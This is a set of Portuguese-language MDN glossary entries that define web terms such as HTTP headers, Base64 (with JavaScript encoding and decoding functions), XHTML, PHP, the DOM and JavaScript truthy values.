{"title":"Cabeçalho HTTP - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Cabeçalho HTTP\n==============\n\nUm **Cabeçalho HTTP** é um campo de uma requisição ou resposta HTTP que passa informações adicionais, alterando ou melhorando a precisão da semântica da mensagem ou do corpo. Cabeçalhos são *case-insensitive*, iniciam-se no começo da linha e são seguidos imediamente por um `':'` e um valor dependendo do cabeçalho em si. O valor termina no próximo CRLF ou no fim da mensagem.\n\nTradicionalmente, cabeçalhos são classificados em categorias, apesar disso, essa classificação não faz mais parte de nenhuma especificação:\n\n* General header: Cabeçalhos aplicados ambos em requisições e respostas mas sem nenhuma relação com os dados eventualmente transmitidos no corpo.\n* Request header: Cabeçalhos contendo mais informação sobre o recurso a ser buscado ou sobre o cliente em si.\n* Response header (en-US): Cabeçalhos com informação adicional sobre a resposta, como localização ou sobre o servidor em si (nome, versão etc.).\n* Entity header: Cabeçalhos contendo mais informação sobre o corpo da entidade, como o tamanho do conteúdo ou o seu *MIME-type.*\n\nUma requisição básica com um cabeçalho:\n```\n\nGET /example.http HTTP/1.1\nHost: example.com\n```\n\n\nRedirecionamentos possuem cabeçalhos mandatários (`Location`):\n```\n\n302 Found\nLocation: /NewPage.html\n```\n\n\nUm típicos conjunto de cabeçalhos:\n```\n\n304 Not Modified\nAccess-Control-Allow-Origin: *\nAge: 2318192\nCache-Control: public, max-age=315360000\nConnection: keep-alive\nDate: Mon, 18 Jul 2016 16:06:00 GMT\nServer: Apache\nVary: Accept-Encoding\nVia: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloudfront.net (CloudFront)\nX-Amz-Cf-Id: TOl0FEm6uI4fgLdrKJx0Vao5hpkKGZULYN2TWD2gAWLtr7vlNjTvZw==\nX-Backend-Server: developer6.webapp.scl3.mozilla.com\nX-Cache: Hit from cloudfront\nX-Cache-Info: cached\n```\n\n\n1. Especificações\n    1. Sintaxe dos cabeçalhos na especificação HTTP.\n2. Referência Técnica\n    1. Lista de todos os cabeçalhos HTTP\n3. Glossário\n    1. HTTP header\n    2. General header\n    3. Request header\n    4. Response header (en-US)\n    5. Entity header\n    6. Forbidden header name\n    7. Forbidden response header name\n    8. CORS-safelisted request header (en-US)\n    9. CORS-safelisted response header (en-US)"}
{"title":"Conversão de Tipo - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Conversão de Tipo\n=================\n\n**Conversão de Tipo** (ou *typecasting*) significa transferência de dados de um **tipo de dado** para o outro. A **conversão implícita** ocorre quando o compilador atribui automaticamente os **tipos de dados**, mas o código fonte também pode **explicitamente** exigir uma conversão de tipo. Por exemplo, dada a instrução `5+2.0`, o *float* `2.0` será implicitamente convertido para *integer*, mas dada a instrução `Number(\"0x11\")`, a *string* \"0x11\" será explicitamente convertida para o número 17.\n\nAprender mais\n-------------\n\n### Conhecimento Geral\n\n* Conversão de Tipos em Wikipedia"}
{"title":"Internet - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Internet\n========\n\nA Internet é a rede mundial de redes que utiliza o conjunto de protocolos da Internet (também chamado TCP/IP dos seus dois mais importantes protocolos).\n\nAprenda mais\n------------\n\n### Saiba mais sobre isso\n\n* How the Internet works (Introdução para iniciantes)"}
{"title":"OpenGL - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"OpenGL\n======\n\n**OpenGL** (**Open Graphics Library**) é uma API (*Application Programming Interface*) multiplataforma e multilíngue para renderizar gráficos vetoriais 2D e 3D. A API é normalmente usada para interagir com uma GPU (*Graphics Processing Unit*) para obter renderização acelerada por hardware.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* OpenGL em Wikipedia"}
{"title":"JPEG - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"JPEG\n====\n\n**JPEG** (*Joint Photographic Experts Group*) é um método de compreensão com perda geralmente usado para imagens digitais.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* JPEG na Wikipedia"}
{"title":"Port - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Port\n====\n\nPorta\n\n Para um computador se conectar à rede mundial de computadores com um endereço de IP(Protocolo de internet - Internet Protocol),\n uma porta é um ponto terminal de comunicação.\n Portas são designadas por números, e abaixo são especificados 1024 portas que é associado por padrão com um protocolo específico.\n\n Por exemplo, a porta padrão para a HTTP (Protocolo de transferência de hiper texto - Hyper Text Transfer Protocol) é 80 e o\n padrão para o HTTPS (Protocolo de transferência de hiper texto Seguro - Hyper Text Transfer Protocol Secure) é 443,\n então um http servidor espera pelas requisições naquelas portas.Cada protocolo de internet está associado com uma porta padrão:\n SMTP(25), POP3(110), IMAP(143), IRC(194) e assim em diante.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Port no Wikipedia"}
{"title":"Wrapper - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Wrapper\n=======\n\nEm linguagens de programação, como o JavaScript, um wrapper é uma função destinada a chamar uma ou mais funções, às vezes diretamente por conveniência, e às vezes adaptá-las para fazer uma tarefa ligeiramente diferente no processo.\n\nPor exemplo, as bibliotecas do SDK para AWS são exemplos de wrappers.\n\nAprender mais\n-------------\n\n### Conhecimento Geral\n\nWrapper function em Wikipedia"}
{"title":"XHR (XMLHttpRequest) - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"XHR (XMLHttpRequest)\n====================\n\n`XMLHttpRequest` (XHR) é uma API JavaScript para criar requisições AJAX. Os métodos desta API fornecem opções para enviar requisições entre o browser e o server.\n\nVeja mais\n---------\n\n### Geral\n\n* XMLHttpRequest on Wikipedia\n* Synchronous vs. Asynchronous Communications\n### Informações técnicas\n\n* O objeto `XMLHttpRequest`.\n* Veja como utilizar o XMLHttpRequest na documentação."}
{"title":"XHTML - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"XHTML\n=====\n\nO HTML pode ser transferido através da internet para o navegador usando duas sintaxes: sintaxe HTML e sintaxe XML (en-US), também conhecido como XHTML.\n\nHTML5 e HTML/XHTML\n------------------\n\nAmbas as sintaxes são definidas através do padrão HTML5. A escolha da sintaxe é dedicada ao tipo MIME, que é enviado no cabeçalho HTTP `Content-Type` . O tipo MIME para sintaxe HTML é `text/html`, e o tipo MIME para sintaxe XHTML é `aplication/xhtml+xml`.\n\nO exemplo mostra um documento HTML e um XHTML incluindo os cabeçalhos relevantes do HTTP.\n\n### Documento HTML\n\n\n```html\n<!-- Content-Type: text/html -->\n\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>HTML</title>\n  </head>\n  <body>\n    <p>Eu sou um documento HTML</p>\n  </body>\n</html>\n```\n\n### Documento XHTML\n\n\n```xml\n<!-- Content-Type: application/xhtml+xml -->\n\n<html xml:lang=\"en\" xmlns=\"https://www.w3.org/1999/xhtml\">\n  <head>\n    <title>XHTML</title>\n  </head>\n  <body>\n    <p>Eu sou um documento XHTML</p>\n  </body>\n</html>\n```\n\nTipo MIME contra DOCTYPE\n------------------------\n\nAntes do HTML5, as duas sintaxes eram definidas por duas especificações diferentes: HTML 4.01 e XHTML 1.0. O padrão XHTML1 afirma que você poderia usar XHTML declarando um DOCTYPE especial. Porém, isso nunca foi implementado por nenhum navegador,e tem sido trocado pelo padrão HTML5. **Se sua página é enviada como `text/html` você não pode usar XHTML**.\n\nObserve que o tipo MIME deve ser declarado no `Content-Type` HTTP header. Se você apenas inseriu a meta tag no HTML como `<meta http-equiv=…>`, ele será ignorado e tratado como `text/html`.\n\nSe você apresentar suas páginas `text/html` e acreditar que você está escrevendo XHTML, você poderá enfrentar vários problemas, tal como descritos nos seguintes artigos:\n\n* No to XHTML um artigo excelente do Spartanicus\n* Beware of XHTML por David Hammond\n* Sending XHTML as text/html Considered Harmful por Ian Hickson\n* XHTML's Dirty Little Secret por Mark Pilgrim\n* XHTML - What's the Point? por Henri Sivonen\n* XHTML is not for Beginners por Lachlan Hunt\nSuporte\n-------\n\nO XHTML é suportado pela maioria dos navegadores modernos, incluindo Firefox, Chrome, Safari, e Opera. Entretanto, o Internet Explorer suporta XHTML somente a partir da versão 9. O Internet Explorer 8 e suas versões mais antigas mostrarão uma mensagem de tipo de arquivo desconhecido quando aberto um documento XHTML com o tipo XHTML MIME correto.\n\nTambém é bom observar que muitas bibliotecas populars de JavaScript e ferramentas para desenvolvedores não suportam XHTML ou tem suporte limitado.\n\nDiferenças entre HTML\n---------------------\n\nVeja Properly Using CSS and JavaScript in XHTML Documents para uma lista com algumas das diferenças entre HTML e XHTML.\n\nFerramentas\n-----------\n\n* Standards-Compliant Authoring Tools\nVeja também\n-----------\n\n* HTML\n* Namespaces"}
{"title":"Base64 - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Base64\n======\n\n**Base64** é um grupo de esquemas de codificação binários para texto semelhantes que representam dados binários em um formato de string ASCII, traduzindo-os em uma representação radix-64. O termo *Base64* se origina de uma codificação de transferência de conteúdo MIME.\n\nOs esquemas de codificação Base64 são comumente usados quando há necessidade de codificar dados binários que precisam ser armazenados e transferidos por meio de mídia projetada para lidar com ASCII. Isso é para garantir que os dados permaneçam intactos sem modificação durante o transporte. *Base64* é comumente usado em vários aplicativos, incluindo e-mail via MIME e armazenamento de dados complexos em XML (en-US)\n\nUma aplicação comum da codificação Base64 na web é codificar dados binários para que possam ser incluídos em um data: URL (en-US).\n\nEm JavaScript existem duas funções respectivamente para decodificar e codificar strings Base64:\n\n* `btoa()` (en-US): cria uma string ASCII codificada em Base64 a partir de uma \"string\" de dados binários (\"btoa\" deve ser lido como \"binário para ASCII\").\n* `atob()`: decodifica uma string codificada em Base64 (\"atob\" deve ser lida como \"ASCII para binário\").\n\nO algoritmo usado por `atob()` e `btoa()` é especificado na RFC 4648, seção 4.\n\nObserve que `btoa()` espera receber dados binários e lançará uma exceção se a string fornecida contiver quaisquer caracteres cuja representação UTF-16 ocupe mais de um byte. Para obter mais detalhes, consulte a documentação de `btoa()` (en-US).\n\nAumento de tamanho codificado\n-----------------------------\n\nCada dígito Base64 representa exatamente 6 bits de dados. Assim, três bytes de 8 bits da string de entrada/arquivo binário (3×8 bits = 24 bits) podem ser representados por quatro dígitos Base64 de 6 bits (4×6 = 24 bits).\n\nIsso significa que a versão Base64 de uma string ou arquivo terá pelo menos 133% do tamanho de sua fonte (um aumento de ~33%). O aumento pode ser maior se os dados codificados forem pequenos. Por exemplo, a cadeia \"a\" com length === 1 fica codificado para \"YQ==\" com length === 4— um aumento de 300%.\n\nO \"Unicode Problem\"\n-------------------\n\nComo as strings JavaScript são codificadas em 16 bits, na maioria dos navegadores que chamam `window.btoa` em uma string Unicode causará um `Character Out Of Range`, exceção se um caractere exceder o intervalo de um caractere codificado em ASCII de 8 bits. Existem dois métodos possíveis para resolver este problema:\n\n* a primeira é escapar de toda a string e depois codificá-la;\n* a segunda é converter a string UTF-16 em uma matriz de caracteres UTF-8 e depois codificá-la.\n\nAqui estão os dois métodos possíveis.\n\n### Solução nº 1 – escapando da string antes de codificá-la\n\n\n```js\nfunction utf8\\_to\\_b64(str) {\n  return window.btoa(unescape(encodeURIComponent(str)));\n}\n\nfunction b64\\_to\\_utf8(str) {\n  return decodeURIComponent(escape(window.atob(str)));\n}\n\n// Usage:\nutf8\\_to\\_b64(\"✓ à la mode\"); // \"4pyTIMOgIGxhIG1vZGU=\"\nb64\\_to\\_utf8(\"4pyTIMOgIGxhIG1vZGU=\"); // \"✓ à la mode\"\n```\n\n\nEsta solução foi proposta por Johan Sundström.\n\n Outra solução possível sem utilizar as funções 'unescape' e 'escape' agora obsoletas.\n Essa alternativa, no entanto, não executa a codificação base64 da string de entrada. Observe as diferenças nas saídas de `utf8_to_b64` e `b64EncodeUnicode`. Adotar essa alternativa pode levar a problemas de interoperabilidade com outros aplicativos.\n\n\n```js\nfunction b64EncodeUnicode(str) {\n  return btoa(encodeURIComponent(str));\n}\n\nfunction UnicodeDecodeB64(str) {\n  return decodeURIComponent(atob(str));\n}\n\nb64EncodeUnicode(\"✓ à la mode\"); // \"JUUyJTlDJTkzJTIwJUMzJUEwJTIwbGElMjBtb2Rl\"\nUnicodeDecodeB64(\"JUUyJTlDJTkzJTIwJUMzJUEwJTIwbGElMjBtb2Rl\"); // \"✓ à la mode\"\n```\n\n### Solution #2 – rewriting `atob()` and `btoa()` using `TypedArray`s and UTF-8\n\n> \n> **Note:** The following code is also useful to get an ArrayBuffer from a Base64 string and/or vice versa (see below).\n> \n> \n> \n\n\n```js\n\"use strict\";\n// Array of bytes to Base64 string decoding\nfunction b64ToUint6(nChr) {\n  return nChr > 64 && nChr < 91\n    ? nChr - 65\n    : nChr > 96 && nChr < 123\n      ? nChr - 71\n      : nChr > 47 && nChr < 58\n        ? nChr + 4\n        : nChr === 43\n          ? 62\n          : nChr === 47\n            ? 63\n            : 0;\n}\n\nfunction base64DecToArr(sBase64, nBlocksSize) {\n  const sB64Enc = sBase64.replace(/[^A-Za-z0-9+/]/g, \"\");\n  const nInLen = sB64Enc.length;\n  const nOutLen = nBlocksSize\n    ? Math.ceil(((nInLen \\* 3 + 1) >> 2) / nBlocksSize) \\* nBlocksSize\n    : (nInLen \\* 3 + 1) >> 2;\n  const taBytes = new Uint8Array(nOutLen);\n\n  let nMod3;\n  let nMod4;\n  let nUint24 = 0;\n  let nOutIdx = 0;\n  for (let nInIdx = 0; nInIdx < nInLen; nInIdx++) {\n    nMod4 = nInIdx & 3;\n    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << (6 \\* (3 - nMod4));\n    if (nMod4 === 3 || nInLen - nInIdx === 1) {\n      nMod3 = 0;\n      while (nMod3 < 3 && nOutIdx < nOutLen) {\n        taBytes[nOutIdx] = (nUint24 >>> ((16 >>> nMod3) & 24)) & 255;\n        nMod3++;\n        nOutIdx++;\n      }\n      nUint24 = 0;\n    }\n  }\n\n  return taBytes;\n}\n\n/\\* Base64 string to array encoding \\*/\nfunction uint6ToB64(nUint6) {\n  return nUint6 < 26\n    ? nUint6 + 65\n    : nUint6 < 52\n      ? nUint6 + 71\n      : nUint6 < 62\n        ? nUint6 - 4\n        : nUint6 === 62\n          ? 43\n          : nUint6 === 63\n            ? 47\n            : 65;\n}\n\nfunction base64EncArr(aBytes) {\n  let nMod3 = 2;\n  let sB64Enc = \"\";\n\n  const nLen = aBytes.length;\n  let nUint24 = 0;\n  for (let nIdx = 0; nIdx < nLen; nIdx++) {\n    nMod3 = nIdx % 3;\n    if (nIdx > 0 && ((nIdx \\* 4) / 3) % 76 === 0) {\n      sB64Enc += \"\\r\\n\";\n    }\n\n    nUint24 |= aBytes[nIdx] << ((16 >>> nMod3) & 24);\n    if (nMod3 === 2 || aBytes.length - nIdx === 1) {\n      sB64Enc += String.fromCodePoint(\n        uint6ToB64((nUint24 >>> 18) & 63),\n        uint6ToB64((nUint24 >>> 12) & 63),\n        uint6ToB64((nUint24 >>> 6) & 63),\n        uint6ToB64(nUint24 & 63),\n      );\n      nUint24 = 0;\n    }\n  }\n  return (\n    sB64Enc.substr(0, sB64Enc.length - 2 + nMod3) +\n    (nMod3 === 2 ? \"\" : nMod3 === 1 ? \"=\" : \"==\")\n  );\n}\n\n/\\* UTF-8 array to JS string and vice versa \\*/\n\nfunction UTF8ArrToStr(aBytes) {\n  let sView = \"\";\n  let nPart;\n  const nLen = aBytes.length;\n  for (let nIdx = 0; nIdx < nLen; nIdx++) {\n    nPart = aBytes[nIdx];\n    sView += String.fromCodePoint(\n      nPart > 251 && nPart < 254 && nIdx + 5 < nLen /\\* six bytes \\*/\n        ? /\\* (nPart - 252 << 30) may be not so safe in ECMAScript! So…: \\*/\n          (nPart - 252) \\* 1073741824 +\n            ((aBytes[++nIdx] - 128) << 24) +\n            ((aBytes[++nIdx] - 128) << 18) +\n            ((aBytes[++nIdx] - 128) << 12) +\n            ((aBytes[++nIdx] - 128) << 6) +\n            aBytes[++nIdx] -\n            128\n        : nPart > 247 && nPart < 252 && nIdx + 4 < nLen /\\* five bytes \\*/\n          ? ((nPart - 248) << 24) +\n            ((aBytes[++nIdx] - 128) << 18) +\n            ((aBytes[++nIdx] - 128) << 12) +\n            ((aBytes[++nIdx] - 128) << 6) +\n            aBytes[++nIdx] -\n            128\n          : nPart > 239 && nPart < 248 && nIdx + 3 < nLen /\\* four bytes \\*/\n            ? ((nPart - 240) << 18) +\n              ((aBytes[++nIdx] - 128) << 12) +\n              ((aBytes[++nIdx] - 128) << 6) +\n              aBytes[++nIdx] -\n              128\n            : nPart > 223 && nPart < 240 && nIdx + 2 < nLen /\\* three bytes \\*/\n              ? ((nPart - 224) << 12) +\n                ((aBytes[++nIdx] - 128) << 6) +\n                aBytes[++nIdx] -\n                128\n              : nPart > 191 && nPart < 224 && nIdx + 1 < nLen /\\* two bytes \\*/\n                ? ((nPart - 192) << 6) + aBytes[++nIdx] - 128\n                : /\\* nPart < 127 ? \\*/ /\\* one byte \\*/\n                  nPart,\n    );\n  }\n  return sView;\n}\n\nfunction strToUTF8Arr(sDOMStr) {\n  let aBytes;\n  let nChr;\n  const nStrLen = sDOMStr.length;\n  let nArrLen = 0;\n\n  /\\* mapping… \\*/\n  for (let nMapIdx = 0; nMapIdx < nStrLen; nMapIdx++) {\n    nChr = sDOMStr.codePointAt(nMapIdx);\n\n    if (nChr > 65536) {\n      nMapIdx++;\n    }\n\n    nArrLen +=\n      nChr < 0x80\n        ? 1\n        : nChr < 0x800\n          ? 2\n          : nChr < 0x10000\n            ? 3\n            : nChr < 0x200000\n              ? 4\n              : nChr < 0x4000000\n                ? 5\n                : 6;\n  }\n\n  aBytes = new Uint8Array(nArrLen);\n\n  /\\* transcription… \\*/\n  let nIdx = 0;\n  let nChrIdx = 0;\n  while (nIdx < nArrLen) {\n    nChr = sDOMStr.codePointAt(nChrIdx);\n    if (nChr < 128) {\n      /\\* one byte \\*/\n      aBytes[nIdx++] = nChr;\n    } else if (nChr < 0x800) {\n      /\\* two bytes \\*/\n      aBytes[nIdx++] = 192 + (nChr >>> 6);\n      aBytes[nIdx++] = 128 + (nChr & 63);\n    } else if (nChr < 0x10000) {\n      /\\* three bytes \\*/\n      aBytes[nIdx++] = 224 + (nChr >>> 12);\n      aBytes[nIdx++] = 128 + ((nChr >>> 6) & 63);\n      aBytes[nIdx++] = 128 + (nChr & 63);\n    } else if (nChr < 0x200000) {\n      /\\* four bytes \\*/\n      aBytes[nIdx++] = 240 + (nChr >>> 18);\n      aBytes[nIdx++] = 128 + ((nChr >>> 12) & 63);\n      aBytes[nIdx++] = 128 + ((nChr >>> 6) & 63);\n      aBytes[nIdx++] = 128 + (nChr & 63);\n      nChrIdx++;\n    } else if (nChr < 0x4000000) {\n      /\\* five bytes \\*/\n      aBytes[nIdx++] = 248 + (nChr >>> 24);\n      aBytes[nIdx++] = 128 + ((nChr >>> 18) & 63);\n      aBytes[nIdx++] = 128 + ((nChr >>> 12) & 63);\n      aBytes[nIdx++] = 128 + ((nChr >>> 6) & 63);\n      aBytes[nIdx++] = 128 + (nChr & 63);\n      nChrIdx++;\n    } /\\* if (nChr <= 0x7fffffff) \\*/ else {\n      /\\* six bytes \\*/\n      aBytes[nIdx++] = 252 + (nChr >>> 30);\n      aBytes[nIdx++] = 128 + ((nChr >>> 24) & 63);\n      aBytes[nIdx++] = 128 + ((nChr >>> 18) & 63);\n      aBytes[nIdx++] = 128 + ((nChr >>> 12) & 63);\n      aBytes[nIdx++] = 128 + ((nChr >>> 6) & 63);\n      aBytes[nIdx++] = 128 + (nChr & 63);\n      nChrIdx++;\n    }\n    nChrIdx++;\n  }\n\n  return aBytes;\n}\n```\n\n### Testes\n\n\n```js\n/\\* Tests \\*/\n\nconst sMyInput = \"Base 64 \\u2014 Mozilla Developer Network\";\n\nconst aMyUTF8Input = strToUTF8Arr(sMyInput);\n\nconst sMyBase64 = base64EncArr(aMyUTF8Input);\n\nalert(sMyBase64);\n\nconst aMyUTF8Output = base64DecToArr(sMyBase64);\n\nconst sMyOutput = UTF8ArrToStr(aMyUTF8Output);\n\nalert(sMyOutput);\n```\n\n### Appendix: Decodifique uma string Base64 para Uint8Array ou ArrayBuffer\n\nEssas funções nos permitem criar também uint8Arrays (en-US) ou arrayBuffers a partir de strings codificadas em Base64:\n\n\n```js\n// \"Base 64 \\u2014 Mozilla Developer Network\"\nconst myArray = base64DecToArr(\n  \"QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw==\",\n);\n\n// \"Base 64 \\u2014 Mozilla Developer Network\"\nconst myBuffer = base64DecToArr(\n  \"QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw==\",\n).buffer;\n\nalert(myBuffer.byteLength);\n```\n\n\n> \n> \n> **Note:** A função `base64DecToArr(sBase64[, nBlocksSize])` retorna\n>  um uint8Array (en-US) de bytes.\n>  Se o seu objetivo é construir um buffer de dados brutos de 16 bits / 32 bits / 64 bits,\n>  use o argumento `nBlocksSize`,\n>  que é o número de bytes dos quais a propriedade `uint8Array.buffer.bytesLength` deve resultar em múltiplos\n>  (`1` ou omitido para ASCII, strings binárias\n>  (ou seja, uma string na qual cada caractere na string é tratado como um byte de dados binários)\n>  ou strings codificadas em UTF-8, `2` para strings UTF-16, `4` para strings UTF-32).\n>  \n> \n> \n>"}
{"title":"Adobe Flash - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Adobe Flash\n===========\n\nFlash é uma tecnologia obsolescente desenvolvida pela Adobe que possibilita aplicativos Web, gráficos de vetor e multimídia. Você precisa instalar o plugin certo para usar o Flash dentro de um navegador web.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* Official web site\n* Shumway, a free implementation by Mozilla\n* Gnash, a free implementation by GNU"}
{"title":"PHP - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"PHP\n===\n\nPHP (um inicialismo recursivo para PHP: Hypertext Preprocessor) é uma linguagem de script do lado do servidor de código aberto que pode ser utilizada junto com HTML para construir aplicações web e sites dinâmicos.\n\nHTML pode ser usando dentro do PHP, mas não vice versa.\n```\n\n // Sintaxe básica do PHP\n<? php\n // Imprime dados na tela\n echo \"Olá mundo!\";\n\n // ou\n print \"Olá mundo!\";\n?>\n```\n\n\nA melhor coisa em usar o PHP é que ele é extremamente simples para um iniciante, mas oferece muitos recursos avançados para um programador profissional. Não tenha medo de ler a longa lista de recursos do PHP. Pode entrar com tudo, o mais rápido que puder, e começar a escrever scripts simples em poucas horas.\n\n### Variáveis em PHP\n```\n\n<?php\n // Variáveis\n $nome='Jorge';\n $sobrenome='Clésio';\n $pais='Brasil';\n $email='jorgeclesio@mozilla.org';\n\n // Imprimir variáveis\n echo $nome;\n echo $sobrenome;\n echo $pais;\n echo $email;\n?>\n```\n\n\nConheça mais sobre variáveis em PHP\n\n### Tratando Formulários com PHP\n\nConfira aqui.\n\nSaber mais\n----------\n\n* Website oficial\n* PHP na Wikipedia\n* PHP no Wikilivros\n* Introdução ao PHP W3Schools"}
{"title":"DOM - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"DOM\n===\n\nO Modelo de Objeto de Documentos (do inglês **Document Object Model, DOM**) é uma API definida pelo W3C para representar e interagir com qualquer documento HTML ou XML.\n\nO *DOM* é um modelo de documento carregado pelo navegador. Este documento é representado através de uma árvore de nós, onde cada um destes nós representa uma parte do documento (por ex. um elemento, texto ou comentário).\n\n O *DOM* é uma das APIs mais usadas na Web (en-US) porque ele permite que cada código rodando no navegador acesse e interaja com cada nó do documento.\n Os nós podem ser criados, movidos ou modificados. *Listeners* de evento podem também ser adicionados aos nós para serem disparados quando um dado evento ocorrer.\n\n O *DOM* não foi originalmente especificado. Ele apareceu quando os navegadores começaram a implementar o JavaScript. Este legado é às vezes chamado de *DOM 0*.\n Hoje o W3C conduz a especificação do *DOM*; e o DOM Working Group está atualmente preparando a versão 4.\n\nSaiba mais\n----------\n\n### Conhecimentos Gerais\n\n* DOM\n### Referência Técnica\n\n* A Documentação DOM no MDN (en-US)\n* As várias especificações do DOM no W3C"}
{"title":"WebP - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"WebP\n====\n\n**WebP** é um formato de compressão de imagem lossless e lossy desenvolvido pelo Google.\n\nSaiba mais\n----------\n\n### Conhecimentos gerais\n\n* WebP na Wikipedia"}
{"title":"Nome de domínio - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Nome de domínio\n===============\n\nUm nome de domínio é um endereço de uma página na Internet. Nomes de domínios são usados em URLs para identificar a qual servidor uma página específica pertence. O domínio consiste de uma sequência hierárquica de nomes (rótulo) separados por períodos (pontos) e terminando com uma extensão (en-US).\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* Domínio na Wikipedia\n* Understanding domain names"}
{"title":"UX - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"UX\n==\n\n**UX** é um acrônimo que significa experiência do usuário (User eXperience). É o estudo da interação entre usuários e um sistema. Seu objetivo é tornar um sistema fácil de interagir do ponto de vista do usuário.\n\nO sistema pode ser qualquer produto ou aplicativo com o qual um usuário final deve interagir. Os estudos de UX realizados em uma página da web podem demostrar, por exemplo, se é fácil para os usuários entenderem a página, navegarem para diferentes áreas e concluírem tarefas comuns, e onde tais processos poderiam ter menos fricção.\n\nSaber mais\n----------\n\n### Conhecimento geral\n\n* Experiência do Usuário na Wikipédia"}
{"title":"Tag - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Tag\n===\n\nEm HTML a tag é usada para criar um elemento. O **nome** de um elemento HTML é o nome usado entre colchetes angulares como \"<p>\" para criar parágrafos. Note que ao fechar uma tag ela tem uma barra antes de seu nome, \"</p>\" , e que em elementos vazios a tag final não é requirida e nem permitida. Se os atributos não forem mencionados, os valores padrões serão usados em cada caso.\n\nAprenda mais\n------------\n\n### Conhecimentos gerais\n\n* HTML element no Wikipedia (em inglês)\n* Tags de HTML no W3 (em inglês)\n### Referência técnica\n\n* Introdução ao HTML (em inglês)"}
{"title":"Global object - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Global object\n=============\n\nUm objeto global é um objeto que sempre está definido no escopo global.\n\nEm JavaScript, um objeto global é sempre definido. No browser, quando scripts criam variáveis globais, elas são criadas como membros desse objeto global (Em Node.js isso não se aplica). A interface do objeto global depende do contexto de execução no qual o script está sendo executado. Por exemplo:\n\n* Num navegador, qualquer código que o script não inicie especificamente como uma tarefa em background, tem um `Window` como seu objeto global. Isto se aplica para a vasta maioria dos códigos JavaScript na Web.\n* Códigos rodando num `Worker` tem um objeto `WorkerGlobalScope` (en-US) como seu objeto global.\n* Scripts que executam no Node.js tem um objeto `global` como seu objeto global."}
{"title":"Truthy - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Truthy\n======\n\nEm JavaScript, um valor **truthy** é um valor que se traduz em verdadeiro quando avaliado em um contexto Booleano. Todos os valores são **truthy** a menos que eles sejam definidos como falsy (ou seja., exceto para `false`, `0`, `\"\"`, `null`, `undefined`, e `NaN`).\n\nO JavaScript usa coerção de tipo em contextos booleanos.\n\nExemplos de valores *truthy* em JavaScript (que se traduzirão em true, e então executar o bloco `if`):\n```\n\nif (true)\nif ({})\nif ([])\nif (42)\nif (\"foo\")\nif (new Date())\nif (-42)\nif (3.14)\nif (-3.14)\nif (Infinity)\nif (-Infinity)\n```\n\nVeja também\n-----------\n\n* Falsy\n* Coercion\n* Boolean"}
{"title":"Advance measure - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Advance measure\n===============\n\nA **advance measure** é o espaço total que o glyph ocupa, horizontal ou verticalmente, dependendo da direção de escrita atual. É igual à distância percorrida pelo cursor, colocado diretamente na frente e depois deslocado para trás do caractere.\n\nEste termo é usado na definição de um número de unidades CSS `<length>` (en-US). A *advanced measure* da unidade `ch` é a largura ou a altura do caractere \"0\" no tipo de letra fornecido, dependendo se o eixo horizontal ou vertical está sendo usado no momento. Uma *advanced measure* de unidade `ic` é a largura ou altura do caractere \"水\".\n\nVeja também\n-----------\n\n* `<length>` (en-US)"}
{"title":"Self-Executing Anonymous Function - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Self-Executing Anonymous Function\n=================================\n\n(Self-Executing Anonymous Function) é uma função JavaScript que é executada assim que definida. Ela também é conhecida como **IIFE** (Immediately Invoked Function Expression).\n\nVeja a página IIFE para mais informações."}
{"title":"Declaração - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Declaração\n==========\n\nEm uma linguagem de programação, uma **declaração** é uma linha de código que dá comando para execução de uma tarefa. Cada programa é composto por uma sequência de declarações.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Declaração na Wikipedia\n### Referencia técnica\n\n* JavaScript declarações"}
{"title":"BigInt - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"BigInt\n======\n\nNo JavaScript, **BigInt** é um tipo de dado numérico que representa inteiros no formato de precisão arbritrária. Em outras linguagens de programação existem tipos numéricos diferentes, como por exemplo: Integers, Floats, Doubles ou Bignums.\n\nSaiba mais\n----------\n\n### General knowledge\n\n* Numeric types no Wikipedia\n### Technical reference\n\n* The JavaScript data structure: BigInt\n* The JavaScript global object `BigInt`"}
